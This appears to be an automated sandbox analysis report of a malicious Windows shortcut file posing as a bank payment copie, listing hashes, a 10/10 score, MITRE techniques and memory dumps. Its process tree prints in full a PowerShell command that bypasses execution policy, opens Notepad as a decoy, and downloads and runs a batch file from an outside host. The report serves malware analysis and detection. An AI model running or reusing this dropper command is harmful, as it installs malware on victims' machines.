8420bf1711e75f17cb07a83a66e038f9635968eeaa17c3540c966347bb1d373c

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
20/02/2024, 07:07

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General

Target

Banque BEA_Copie de Paiement_txt.lnk
Size

2KB
MD5

32d11ce69ae0bae7375a6a9fcdf65238
SHA1

d7ee753812e1b9180d7df3df34df08f13c97ac7a
SHA256

8420bf1711e75f17cb07a83a66e038f9635968eeaa17c3540c966347bb1d373c
SHA512

3e4c138fdb052ea6a1bd313f0330ce7a0f7b4abff4eccbc612aaccf639ef5fa50491987e8e22817e028c465762547cd253cc1f0d32944f106b0f06ab703cc2a3

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://remisat.com.uy/bim/office.bat

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2856	powershell.exe
6	2856	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2856	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 2856	2180	cmd.exe	29
PID 2180 wrote to memory of 2856	2180	cmd.exe	29
PID 2180 wrote to memory of 2856	2180	cmd.exe	29
PID 2856 wrote to memory of 2844	2856	powershell.exe	30
PID 2856 wrote to memory of 2844	2856	powershell.exe	30
PID 2856 wrote to memory of 2844	2856	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Banque BEA_Copie de Paiement_txt.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -noLogo -Command notepad.exe;(new-object System.Net.WebClient).DownloadFile('https://remisat.com.uy/bim/office.bat','word.exe');./word.exe;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\notepad.exe
    "C:\Windows\system32\notepad.exe"
    3⤵
    PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2856-38-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2856-39-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2856-40-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-41-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2856-44-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2856-43-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2856-42-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2856-45-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-46-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-47-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download